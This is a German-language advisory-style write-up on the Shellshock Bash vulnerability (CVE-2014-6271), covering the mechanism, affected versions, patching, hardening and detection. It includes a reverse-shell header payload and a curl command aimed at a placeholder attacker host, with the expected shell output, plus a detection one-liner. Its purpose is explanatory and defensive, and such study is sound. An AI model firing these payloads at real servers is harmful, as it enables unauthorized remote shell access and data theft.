📖 Überblick

CVE-2014-6271, auch Shellshock oder Bashdoor genannt, ist eine kritische Schwachstelle zur Remote-Code-Ausführung (RCE) in der GNU-Bash-Shell.
Ein Angreifer kann speziell präparierte Umgebungsvariablen (über HTTP-Header, DHCP, SSH usw.) senden und Remote-Shell-Zugriff auf den zugrunde liegenden Server erlangen – oft ohne Authentifizierung und mit minimaler Benutzerinteraktion.

🧠 Zusammenfassung der Schwachstelle

⚙️ Technische Aufschlüsselung

📨 Schritt 1 – Böswillige Umgebungsvariable

Angreifer injiziert eine speziell präparierte Variable (z. B. im User-Agent-Header):

() { :; }; /bin/bash -i >& /dev/tcp/attacker-ip/4444 0>&1

🧩 Schritt 2 – Parsing-Fehler in Bash-Funktionen

Bash behandelt die Nutzlast fälschlicherweise als Funktionsdefinition + nachfolgende Befehle. Der Code nach (); wird sofort ausgeführt, wenn die Variable importiert wird.

💣 Schritt 3 – Remote-Ausführung

Der Befehl wird mit den Berechtigungen des Webservers/Prozesses (oft root oder www-data) ausgeführt.

Ergebnis:

# Remote-Shell-Zugriff erreicht
whoami
www-data

✅ Wenn der Vorgang erfolgreich ist, sehen Sie hier GENAU das Schritt-für-Schritt-Ergebnis:

1. In Ihrem Terminal (direkt nach Ausführung des PoC)

✅ Vulnerable! (Shellshock RCE triggered)
vulnerable
test

Sie werden auch sehen, wie sich die Reverse Shell sofort verbindet.

2. Wenn Sie den Erkennungsbefehl ausführen

env x='() { :;}; echo vulnerable' bash -c "echo test"

Es wird sofort zurückgegeben:

vulnerable
test

(Dies bestätigt, dass Bash den injizierten Befehl ausgeführt hat.)

3. Der ECHTE Beweis des Erfolgs – in Ihrem Browser oder mit curl (dies ist der Moment, in dem Sie wissen, dass Sie vollständige RCE haben)

Führen Sie diesen curl-Befehl gegen ein anfälliges Apache-CGI-Skript aus:

curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/YOUR-IP/4444 0>&1" http://vulnerable-server/cgi-bin/test.sh

Sie sehen genau diese Ausgabe in Ihrem netcat-Listener:

bash: no job control in this shell
www-data@server:/var/www$ whoami
www-data
www-data@server:/var/www$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@server:/var/www$ ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 24 14:00 .
...

Diese Ausgabe erscheint direkt in Ihrer Reverse-Shell. Kein Fehler, kein 404.
Das bedeutet, dass Sie vollständige Remote-Code-Ausführung auf dem Server haben – die Injektion der Umgebungsvariable hat perfekt funktioniert.

🎯 Warum dies gefährlich ist

• ⚡ 25 Jahre alter Zero-Day (existiert seit 1989)
• 🌐 Extrem große Angriffsfläche (CGI, DHCP, SSH, OpenVPN, CUPS…)
• 🔓 Keine Authentifizierung in den meisten gängigen Vektoren erforderlich
• 🧨 Vollständige RCE-Fähigkeit
• 📂 Potenzielle Datenerfassung und Ransomware-Einschleusung
• 🔁 Wormable in großen Netzwerken

📦 Betroffene Versionen

Alle GNU-Bash-Versionen:

1.14 durch 4.3 (vor Patch-Level 30)

(einschließlich Linux, macOS, BSD, eingebettete Geräte)

✅ Gepatchte Version

Sofort aktualisieren auf:

Bash 4.3 Patch-Level 30 oder höher (4.4+ empfohlen)

🛡️ Maßnahmen zur Schadensbegrenzung

1️⃣ Sofortmaßnahme

• Aktualisieren Sie Bash auf ALLEN Systemen:
  root@kitploit:~

  # Ubuntu/Debian
  apt update && apt install --only-upgrade bash
  
  # Red Hat/CentOS
  yum update bash
  

2️⃣ Härten Sie den Webserver

• Deaktivieren Sie CGI/mod_cgi wo möglich
• Verwenden Sie mod_security-Regeln, um () { zu blockieren
• Beschränken Sie die Übergabe von Umgebungsvariablen

3️⃣ Überwachen Sie Logs

Achten Sie auf:

• Verdächtige User-Agent/Referer mit () {
• Unerwartete Reverse-Shells oder ausgehende Verbindungen
• Bash erzeugt Kindprozesse aus Webservices

🔍 Erkennungstipps

Indikatoren für eine Kompromittierung können umfassen:

• Logs mit () { :;};
• Unerwartete Dateien, die vom Webserver-Benutzer erstellt wurden
• Ausgehende Verbindungen auf hohen Ports
• Webserver startet /bin/bash -i

🧪 Proof-of-Concept (Konzeptionell)

Böswilliger Header/DHCP/SSH → Bash importiert Umgebungsvariable
        ↓
Funktionsdefinition + nachfolgende Befehle ausgeführt
        ↓
Beliebiger Befehl / Reverse Shell

📌 Verwandte Schwachstelle

Dieses Problem führte zu mehreren nachfolgenden CVEs (unvollständige Korrekturen):

• CVE-2014-7169 (AfterShock)
• CVE-2014-6277 / CVE-2014-6278
• CVE-2014-7186 / CVE-2014-7187

📊 Auswirkungsbewertung

🧩 Lessons Learned

• Vertraue niemals Umgebungsvariablen
• Das Parsen von Funktionen in Shells muss extrem streng sein
• Langjährige Fehler in Kernsystemkomponenten sind katastrophal
• Alleiniges Patchen ist nicht genug – härten Sie Angriffsflächen

📚 Referenzen

• NVD – CVE-2014-6271
• Wikipedia – Shellshock
• Red Hat Security Blog
• Qualys Technical Analysis
• CISA Alert TA14-268A